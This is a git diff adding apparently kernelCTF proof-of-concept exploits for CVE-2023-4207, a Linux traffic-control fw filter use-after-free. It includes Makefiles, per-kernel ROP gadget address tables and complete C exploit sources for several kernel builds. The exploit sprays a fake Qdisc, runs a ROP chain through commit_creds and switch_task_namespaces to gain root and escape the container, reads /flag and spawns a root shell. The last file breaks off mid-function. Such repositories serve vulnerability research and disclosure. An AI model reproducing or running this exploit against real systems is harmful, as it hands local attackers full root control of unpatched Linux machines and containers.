g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memset(g_mmapped_buf, 0, MMAP_SIZE); + + set_cpu(0); + + setup_network(NULL); + + add_drr(0x10000, 0, 0); + add_class_drr(0x10001, 0x10000, 0x1, 0); + add_class_drr(0x10002, 0x10000, 0x1, 0); + + add_fw_filter(0x10000, 0, 1, 0x10001, 0); + add_fw_filter(0x10000, 0, 2, 0x10001, 0); + + add_fw_filter(0x10000, 0, 1, 0x10002, 1); + + add_iptables_mark(); + + + delete_class(0x10001); + +// @sleep(kernel_func="qdisc_free_cb", +// desc="wait for RCU to trigger Qdisc object removal") + sleep(1); + + prepare_fake_qdisc(g_mmapped_buf); + + for (int i = 0; i < 64; i++) + { + alloc_netlink(512, g_mmapped_buf); + } + + trigger_classify(); + + if (!g_pwned) { + printf("Failed to trigger vuln, try again!\n"); + _exit(0); + } + +// Can't exit, everything might crash + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/kernelver_17162.127.42.h b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/kernelver_17162.127.42.h new file mode 100644 index 00000000..39ad563c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/kernelver_17162.127.42.h @@ -0,0 +1,21 @@ +#define COPY_USER_GENERIC_STRING 0xffffffff817dac00 +#define PUSH_RDI_JMP_QWORD_RSI_0F 0xffffffff81b9c697 +#define FIND_TASK_BY_VPID 0xffffffff81106780 +#define POP_RCX 0xffffffff8102875c +#define SWITCH_TASK_NAMESPACES 0xffffffff8110df90 +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff81243d41 +#define POP_RSI_RDI 0xffffffff8195f1a1 +#define POP_RSI_RDX_RCX 0xffffffff8102875a +#define POP_RDX_RDI 0xffffffff817c63fb +#define AUDIT_SYSCALL_EXIT 0xffffffff811b4fc0 +#define RETURN_VIA_SYSRET 0xffffffff8200018e +#define COMMIT_CREDS 0xffffffff8110f960 +#define POP_RSI 0xffffffff81f4ae7d +#define POP_RSP 0xffffffff8111ec30 +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff81028751 +#define POP_RDI 0xffffffff810d154c +#define POP_RDX 0xffffffff81064e8d +#define RW_BUFFER 0xffffffff84300000 +#define INIT_CRED 0xffffffff83261940 +#define INIT_NSPROXY 0xffffffff83261700 +#define G1 0xffffffff81705e1e diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/libip4tc.a b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/libip4tc.a new file mode 100644 index 00000000..962046fb Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/cos-101-17162.127.42/libip4tc.a differ diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/Makefile b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/Makefile new file mode 100644 index 00000000..bf8313f1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/Makefile @@ -0,0 +1,9 @@ +INCLUDES = -I/usr/include/libiptc -I/usr/include/libnl3 +LIBS = -L. -pthread -lip4tc -lnl-cli-3 -lnl-route-3 -lnl-3 -ldl +CFLAGS = -fomit-frame-pointer -static + +exploit: libip4tc.a + gcc -o $@ exploit.c $(INCLUDES) $(CFLAGS) $(LIBS) + +prerequisites: + sudo apt-get install libnl-cli-3-dev libnl-route-3-dev libip4tc-dev diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/exploit b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/exploit new file mode 100755 index 00000000..f23cc257 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/exploit.c b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/exploit.c new file mode 100644 index 00000000..825a0fa5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/exploit.c @@ -0,0 +1,829 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "kernelver_6.1.36.h" + + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; + +int setup_namespaces() +{ + char *uid_map; + char *gid_map; + int ret, map; + uid_t uid = getuid(); + uid_t gid = getgid(); + + if (unshare(CLONE_NEWUSER|CLONE_NEWNET|CLONE_NEWNS)) { + perror("unshare"); + exit(1); + } + + map = open("/proc/self/setgroups", O_WRONLY); + ret = write(map, "deny", 4); + + if (ret < 4) { + perror("setgroups write"); + exit(1); + } + + close(map); + + asprintf(&uid_map, "0 %d 1\n", uid); + size_t len = strlen(uid_map); + + map = open("/proc/self/uid_map", O_WRONLY); + + ret = write(map, uid_map, len); + + if (ret < len) { + perror("uid map write"); + exit(1); + } + close(map); + + asprintf(&gid_map, "0 %d 1\n", gid); + map = open("/proc/self/gid_map", O_WRONLY); + ret = write(map, gid_map, len); + + if (ret < len) { + perror("gid map write"); + exit(1); + } + + close(map); + + if (mount("tmpfs", "/tmp", "tmpfs", 0, NULL)) { + perror("mount"); + exit(1); + } + +} + + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x8000 + +static int g_pwned; + +void __attribute__((naked)) after_pwn() +{ +// Fix user stack since we didn't do when returning from kernel mode + asm volatile( + "mov %0, %%rsp\n" + :: "r" (g_mmapped_buf + MMAP_SIZE - 0x100) + ); + + g_pwned = 1; + + + set_cpu(1); + + int pid = fork(); + if (!pid) { + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + } + + + waitpid(pid, &g_status, 0); + + printf("Shell exited, sleeping for 30 seconds, after that system might crash\n"); + + sleep(30); + _exit(0); +} + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + +/* Netlink code based on syzcaller generated snippets */ +struct nlmsg { + char* pos; + int nesting; + struct nlattr* nested[8]; + char buf[0x30000]; +}; + +static void netlink_init2(struct nlmsg* nlmsg, int typ, int flags, + const void* data, int size) +{ + memset(nlmsg, 0, sizeof(*nlmsg)); + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_type = typ; + hdr->nlmsg_flags = NLM_F_REQUEST | flags; + memcpy(hdr + 1, data, size); + nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); +} + +static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, + const void* data, int size) +{ + memset(nlmsg, 0, sizeof(*nlmsg)); + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_type = typ; + hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; + memcpy(hdr + 1, data, size); + nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); +} + +static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, + int size) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + // printf("attr size: %d\n", size); + + attr->nla_len = sizeof(*attr) + size; + + if (nlmsg->pos - nlmsg->buf + attr->nla_len > sizeof(nlmsg->buf)) + errx(1, "Netlink buffer overflow, increase size in struct nlmsg\n"); + + attr->nla_type = typ; + if (size > 0) + memcpy(attr + 1, data, size); + nlmsg->pos += NLMSG_ALIGN(attr->nla_len); +} + +static void netlink_nest(struct nlmsg* nlmsg, int typ) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + attr->nla_type = typ | NLA_F_NESTED; + nlmsg->pos += sizeof(*attr); + nlmsg->nested[nlmsg->nesting++] = attr; +} + +static void netlink_done(struct nlmsg* nlmsg) +{ + struct nlattr* attr = nlmsg->nested[--nlmsg->nesting]; + + if (nlmsg->pos - (char *) attr > 0xffff) + errx(1, "Netlink attribute max size exceeded\n"); + + attr->nla_len = nlmsg->pos - (char*)attr; +} + +static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, + int* reply_len, bool dofail) +{ + if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) + err(1, "netlink_send_ext error"); + + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; + + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + + ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, + (struct sockaddr*)&addr, sizeof(addr)); + + if (n != (ssize_t)hdr->nlmsg_len) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); + if (reply_len) + *reply_len = 0; + + if (n < 0) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (n < (ssize_t)sizeof(struct nlmsghdr)) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type == NLMSG_DONE) + return 0; + + if (reply_len && hdr->nlmsg_type == reply_type) { + *reply_len = n; + return 0; + } + if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type != NLMSG_ERROR) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + errno = -((struct nlmsgerr*)(hdr + 1))->error; + return -errno; +} + +static int netlink_send(struct nlmsg* nlmsg, int sock) +{ + return netlink_send_ext(nlmsg, sock, 0, NULL, false); +} + +/* End of syzkaller code */ + + +static struct nlmsg nlmsg; +struct nl_cache *g_link_cache; +static struct nl_sock *g_nl_sock; + +static void netlink_device_change(struct nlmsg* nlmsg, int sock, + const char* name, bool up, const char* master, + const void* mac, int macsize, + const char* new_name) +{ + struct ifinfomsg hdr; + memset(&hdr, 0, sizeof(hdr)); + + if (up) + hdr.ifi_flags = hdr.ifi_change = IFF_UP; + + hdr.ifi_index = if_nametoindex(name); + + netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); + + if (new_name) + netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); + + if (master) { + int ifindex = if_nametoindex(master); + netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); + } + + if (macsize) + netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); + + netlink_send(nlmsg, sock); +} + +static void setup_network(char *link_name) +{ + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) + exit(1); + + netlink_device_change(&nlmsg, sock, "lo", true, 0, NULL, 0, link_name); + + close(sock); + + g_nl_sock = nl_cli_alloc_socket(); + nl_cli_connect(g_nl_sock, NETLINK_ROUTE); + g_link_cache = nl_cli_link_alloc_cache(g_nl_sock); +} + + + +void add_class_drr(uint32_t handle, uint32_t parent, uint32_t weight, uint32_t lmax) +{ + struct tcmsg hdr; + struct nlmsg nlmsg; + + int flags = 0; + + flags = NLM_F_CREATE | NLM_F_EXCL; + + memset(&hdr, 0, sizeof(hdr)); + + hdr.tcm_family = AF_UNSPEC; + hdr.tcm_ifindex = 1; + + if (parent) + hdr.tcm_parent = parent; + else + hdr.tcm_parent = TC_H_MAJ(handle); + + hdr.tcm_handle = handle; + + netlink_init(&nlmsg, RTM_NEWTCLASS, flags, &hdr, sizeof(hdr)); + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) { + perror("netlink sock"); + exit(1); + } + + netlink_nest(&nlmsg, TCA_OPTIONS); + + + netlink_done(&nlmsg); + int ret = netlink_send(&nlmsg, sock); + + if (ret) + err(2, "drr create: %d", ret); + close(sock); +} + +void add_drr(uint32_t handle, uint32_t parent, int edit) +{ + struct tcmsg hdr; + struct nlmsg nlmsg; + + int flags = 0; + + if (!edit) + flags = NLM_F_CREATE | NLM_F_EXCL; + + memset(&hdr, 0, sizeof(hdr)); + + hdr.tcm_family = AF_UNSPEC; + hdr.tcm_ifindex = 1; + + if (parent) + hdr.tcm_parent = parent; + else + hdr.tcm_parent = TC_H_ROOT; + hdr.tcm_handle = handle; + + netlink_init(&nlmsg, RTM_NEWQDISC, flags, &hdr, sizeof(hdr)); + + char kind[] = "drr"; + netlink_attr(&nlmsg, TCA_KIND, &kind, sizeof(kind)); + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) { + perror("netlink sock"); + exit(1); + } + + netlink_nest(&nlmsg, TCA_OPTIONS); + + + netlink_done(&nlmsg); + int ret = netlink_send(&nlmsg, sock); + + if (ret) + err(2, "drr create: %d", ret); + close(sock); +} + + +void delete_class(uint32_t handle) +{ + struct tcmsg hdr; + struct nlmsg nlmsg; + + int flags = 0; + + memset(&hdr, 0, sizeof(hdr)); + + hdr.tcm_family = AF_UNSPEC; + hdr.tcm_ifindex = 1; + hdr.tcm_parent = TC_H_ROOT; + hdr.tcm_handle = handle; + + netlink_init(&nlmsg, RTM_DELTCLASS, flags, &hdr, sizeof(hdr)); + + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) { + perror("netlink sock"); + exit(1); + } + + int err = netlink_send(&nlmsg, sock); + + close(sock); +} + +void add_iptables_mark() +{ + struct xtc_handle *h = iptc_init("mangle"); + if (!h) + err(1, "iptc init"); + + unsigned int targetOffset = XT_ALIGN(sizeof(struct ipt_entry)); + unsigned int totalLen = targetOffset + XT_ALIGN(sizeof(struct xt_entry_target)) + + XT_ALIGN(sizeof(struct xt_mark_tginfo2)); + + struct ipt_entry* e = (struct ipt_entry *)calloc(1, totalLen); + if(e == NULL) { + err(1, "calloc"); + } + + e->target_offset = targetOffset; + e->next_offset = totalLen; + + struct xt_entry_target* target = (struct xt_entry_target *) e->elems; + target->u.target_size = XT_ALIGN(sizeof(struct xt_entry_target)) + + XT_ALIGN(sizeof(struct xt_mark_tginfo2)); + + strncpy(target->u.user.name, "MARK", strlen("MARK") + 1); + target->u.user.revision = 2; + struct xt_mark_tginfo2 *info = (struct xt_mark_tginfo2 *) target->data; + info->mask = 0; + info->mark = 2; + + if (!iptc_append_entry("OUTPUT", e, h)) { + printf("iptc_append_entry::Error insert/append entry: %s\n", iptc_strerror(errno)); + goto end; + } + if (!iptc_commit(h)) { + err(1, "commit: %s\n", iptc_strerror(errno)); + } + + end: + free(e); + iptc_free(h); +} + +void add_fw_filter(uint32_t parent, uint32_t chain, uint32_t handle, uint32_t target, int edit) +{ + struct tcmsg hdr; + struct nlmsg nlmsg; + int prio = 1; + + int flags = 0; + + if (!edit) + flags = NLM_F_CREATE | NLM_F_EXCL; + + memset(&hdr, 0, sizeof(hdr)); + + hdr.tcm_family = AF_UNSPEC; + hdr.tcm_ifindex = 1; + hdr.tcm_parent = parent; + hdr.tcm_handle = handle; + + hdr.tcm_info = TC_H_MAKE(prio << 16, htons(ETH_P_ALL)); + + netlink_init(&nlmsg, RTM_NEWTFILTER, flags, &hdr, sizeof(hdr)); + + netlink_attr(&nlmsg, TCA_CHAIN, &chain, sizeof(chain)); + char kind[] = "fw"; + netlink_attr(&nlmsg, TCA_KIND, &kind, sizeof(kind)); + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) { + perror("netlink sock"); + exit(1); + } + + netlink_nest(&nlmsg, TCA_OPTIONS); + + uint32_t mask = 0xf; + netlink_attr(&nlmsg, TCA_FW_MASK, &mask, sizeof(mask)); + + if (target) { + uint32_t class_id = target; + netlink_attr(&nlmsg, TCA_FW_CLASSID, &class_id, sizeof(class_id)); + } + + netlink_done(&nlmsg); + int err = netlink_send(&nlmsg, sock); + + close(sock); +} + +void *trigger_classify() +{ + int ret, sock; + struct sockaddr_in client_addr; + + sock = socket(AF_INET, SOCK_DGRAM, 0); + + client_addr.sin_family = AF_INET; + client_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + client_addr.sin_port = htons(2000); + + struct msghdr hdr; + memset(&hdr, 0, sizeof(hdr)); + + struct iovec iov[1]; + iov[0].iov_base = "A"; + iov[0].iov_len = 1; + + hdr.msg_iov = iov; + hdr.msg_iovlen = 1; + hdr.msg_name = &client_addr; + hdr.msg_namelen = sizeof(client_addr); + + + sendmsg(sock, &hdr, 0); + +} + +static char *g_rop2; +#define ROP2_CONST_AREA 0x10 +#define ROP2_CONST_OFFSET 0x200 + + +void rop_rax2rdi(uint64_t **rop_p) +{ + uint64_t *rop = *rop_p; + + *(uint64_t *) (g_rop2+ROP2_CONST_OFFSET) = kaddr(POP_RDI); // RCX == RW_BUFFER + +// rax -> rdi + *rop++ = kaddr(POP_RCX); + *rop++ = kaddr(RW_BUFFER+ROP2_CONST_OFFSET); + *rop++ = kaddr(PUSH_RAX_JMP_QWORD_RCX); + + *rop_p = rop; +} + +size_t prepare_rop2(uint64_t *rop2) +{ + uint64_t *rop2_start = rop2; + + *rop2++ = kaddr(POP_RDI); + *rop2++ = kaddr(INIT_CRED); + *rop2++ = kaddr(COMMIT_CREDS); + + // Namespace escape based on code by Crusaders of Rust + *rop2++ = kaddr(POP_RDI); + *rop2++ = 1; + *rop2++ = kaddr(FIND_TASK_BY_VPID); + + rop_rax2rdi(&rop2); // clobbers RCX + + *rop2++ = kaddr(POP_RSI); + *rop2++ = kaddr(INIT_NSPROXY); + + *rop2++ = kaddr(SWITCH_TASK_NAMESPACES); + + *rop2++ = kaddr(POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX); +// eflags + *rop2++ = 0; + + rop2 += 6; + +// Userspace RIP + *rop2++ = (uint64_t) after_pwn; + + *rop2++ = kaddr(RETURN_VIA_SYSRET); + + return (char *) rop2 - (char *) rop2_start; +} + +void prepare_fake_qdisc(char *buf) +{ +/* + lea rdi, [rax + 0x20] + mov rax, qword ptr [rax + 0x30] + jmp __x86_indirect_thunk_rax +*/ + uint64_t g1 = kaddr(G1); + +// 0xffffffff81df4175: push rdi ; jmp qword [rsi+0x0F] + uint64_t g2 = kaddr(PUSH_RDI_JMP_QWORD_RSI_0F); + + *(uint64_t *) (buf) = g1; + *(uint64_t *) (buf + 0xF) = kaddr(POP_RSP); + *(uint64_t *) (buf + 0x30) = g2; + uint64_t *rop = (uint64_t *) (buf+0x20); + + +#define ROP2_MMAP_SIZE 0x4000 + g_rop2 = mmap(NULL, ROP2_MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_rop2 == MAP_FAILED) + err(1, "mmap"); + + size_t rop2_len = prepare_rop2((uint64_t *) g_rop2); + + if (rop2_len > ROP2_CONST_OFFSET) + err(1, "Stage 2 ROP size too big: %d > %d\n", rop2_len, ROP2_CONST_OFFSET); + + *rop++ = kaddr(POP_RSI_RDX_RCX); + *rop++ = (uint64_t) g_rop2; +// jump over 0x30/g2 + rop += 2; + + *rop++ = kaddr(POP_RDX_RDI); + *rop++ = ROP2_CONST_OFFSET + ROP2_CONST_AREA; + *rop++ = kaddr(RW_BUFFER); + + *rop++ = kaddr(COPY_USER_GENERIC_STRING); + + *rop++ = kaddr(POP_RSP); + *rop++ = kaddr(RW_BUFFER); + *rop++ = kaddr(POP_RDI+1); // ret +} + +void prepare_netlink_listener(unsigned int port_id) +{ + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK); + if (sock == -1) { + err(1, "socket netlink\n"); + } + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + addr.nl_pid = port_id; + if (bind(sock, (struct sockaddr*)&addr, sizeof(addr))) + err(1, "bind netlink fail\n"); +} + +int alloc_netlink(size_t len, char *buf) +{ + static unsigned int port_id = 0x6666; + + prepare_netlink_listener(port_id); + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK); + if (sock == -1) { + err(1, "socket netlink\n"); + } + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + addr.nl_pid = port_id++; + + ssize_t n = sendto(sock, buf, len - 0x140, MSG_DONTWAIT, (struct sockaddr*)&addr, sizeof(addr)); + + if (n < 0) + err(1, "sendto netlink\n"); +} + + +int main(int argc, char **argv) +{ + if (argc > 1 && (argv[1][0] == 'f' || argv[1][0] == '0')) { + g_kernel_text = strtoull(argv[1], NULL, 16); + } else { + printf("Using default kernel base, your chance is 1/512, good luck!\nTry providing leaked kernel base as argv[1]\n"); + + g_kernel_text = 0xffffffff81000000uL; + } + + printf("Kernel base: 0x%lx\n", g_kernel_text); + + setbuf(stdout, NULL); + + setup_namespaces(); + + g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memset(g_mmapped_buf, 0, MMAP_SIZE); + + set_cpu(0); + + setup_network(NULL); + + add_drr(0x10000, 0, 0); + add_class_drr(0x10001, 0x10000, 0x1, 0); + add_class_drr(0x10002, 0x10000, 0x1, 0); + + add_fw_filter(0x10000, 0, 1, 0x10001, 0); + add_fw_filter(0x10000, 0, 2, 0x10001, 0); + + add_fw_filter(0x10000, 0, 1, 0x10002, 1); + + add_iptables_mark(); + + + delete_class(0x10001); + +// @sleep(kernel_func="qdisc_free_cb", +// desc="wait for RCU to trigger Qdisc object removal") + sleep(1); + + prepare_fake_qdisc(g_mmapped_buf); + + for (int i = 0; i < 64; i++) + { + alloc_netlink(512, g_mmapped_buf); + } + + trigger_classify(); + + if (!g_pwned) { + printf("Failed to trigger vuln, try again!\n"); + _exit(0); + } + +// Can't exit, everything might crash + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/kernelver_6.1.36.h b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/kernelver_6.1.36.h new file mode 100644 index 00000000..cfa8e1b7 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/kernelver_6.1.36.h @@ -0,0 +1,21 @@ +#define COPY_USER_GENERIC_STRING 0xffffffff820c6480 +#define PUSH_RDI_JMP_QWORD_RSI_0F 0xffffffff81df4175 +#define FIND_TASK_BY_VPID 0xffffffff811b5600 +#define POP_RCX 0xffffffff810271ec +#define SWITCH_TASK_NAMESPACES 0xffffffff811bd180 +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff8130d694 +#define POP_RSI_RDI 0xffffffff81a56b21 +#define POP_RSI_RDX_RCX 0xffffffff810d1daa +#define POP_RDX_RDI 0xffffffff818bf1fb +#define AUDIT_SYSCALL_EXIT 0xffffffff8126e680 +#define RETURN_VIA_SYSRET 0xffffffff82200190 +#define COMMIT_CREDS 0xffffffff811bed10 +#define POP_RSI 0xffffffff82114ece +#define POP_RSP 0xffffffff81027924 +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff810d1da1 +#define POP_RDI 0xffffffff8118018c +#define POP_RDX 0xffffffff81047e72 +#define RW_BUFFER 0xffffffff84700000 +#define INIT_CRED 0xffffffff83676800 +#define INIT_NSPROXY 0xffffffff836765c0 +#define G1 0xffffffff8180530e diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/libip4tc.a b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/libip4tc.a new file mode 100644 index 00000000..962046fb Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/lts-6.1.36/libip4tc.a differ diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/mitigation-6.1/Makefile b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/mitigation-6.1/Makefile new file mode 100644 index 00000000..bf8313f1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/mitigation-6.1/Makefile @@ -0,0 +1,9 @@ +INCLUDES = -I/usr/include/libiptc -I/usr/include/libnl3 +LIBS = -L. -pthread -lip4tc -lnl-cli-3 -lnl-route-3 -lnl-3 -ldl +CFLAGS = -fomit-frame-pointer -static + +exploit: libip4tc.a + gcc -o $@ exploit.c $(INCLUDES) $(CFLAGS) $(LIBS) + +prerequisites: + sudo apt-get install libnl-cli-3-dev libnl-route-3-dev libip4tc-dev diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/mitigation-6.1/exploit b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/mitigation-6.1/exploit new file mode 100755 index 00000000..5c936d8a Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/mitigation-6.1/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/mitigation-6.1/exploit.c b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/mitigation-6.1/exploit.c new file mode 100644 index 00000000..ef9a65a9 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/mitigation-6.1/exploit.c @@ -0,0 +1,1023 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; + +int setup_namespaces() +{ + char *uid_map; + char *gid_map; + int ret, map; + uid_t uid = getuid(); + uid_t gid = getgid(); + + if (unshare(CLONE_NEWUSER|CLONE_NEWNET|CLONE_NEWNS)) { + perror("unshare"); + exit(1); + } + + map = open("/proc/self/setgroups", O_WRONLY); + ret = write(map, "deny", 4); + + if (ret < 4) { + perror("setgroups write"); + exit(1); + } + + close(map); + + asprintf(&uid_map, "0 %d 1\n", uid); + size_t len = strlen(uid_map); + + map = open("/proc/self/uid_map", O_WRONLY); + + ret = write(map, uid_map, len); + + if (ret < len) { + perror("uid map write"); + exit(1); + } + close(map); + + asprintf(&gid_map, "0 %d 1\n", gid); + map = open("/proc/self/gid_map", O_WRONLY); + ret = write(map, gid_map, len); + + if (ret < len) { + perror("gid map write"); + exit(1); + } + + close(map); + + if (mount("tmpfs", "/tmp", "tmpfs", 0, NULL)) { + perror("mount"); + exit(1); + } + +} + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x8000 +#define XATTR_HEAD_SIZE 0x20 + +static int g_pwned; + +void __attribute__((naked)) after_pwn() +{ +// Fix user stack since we didn't do when returning from kernel mode + asm volatile( + "mov %0, %%rsp\n" + :: "r" 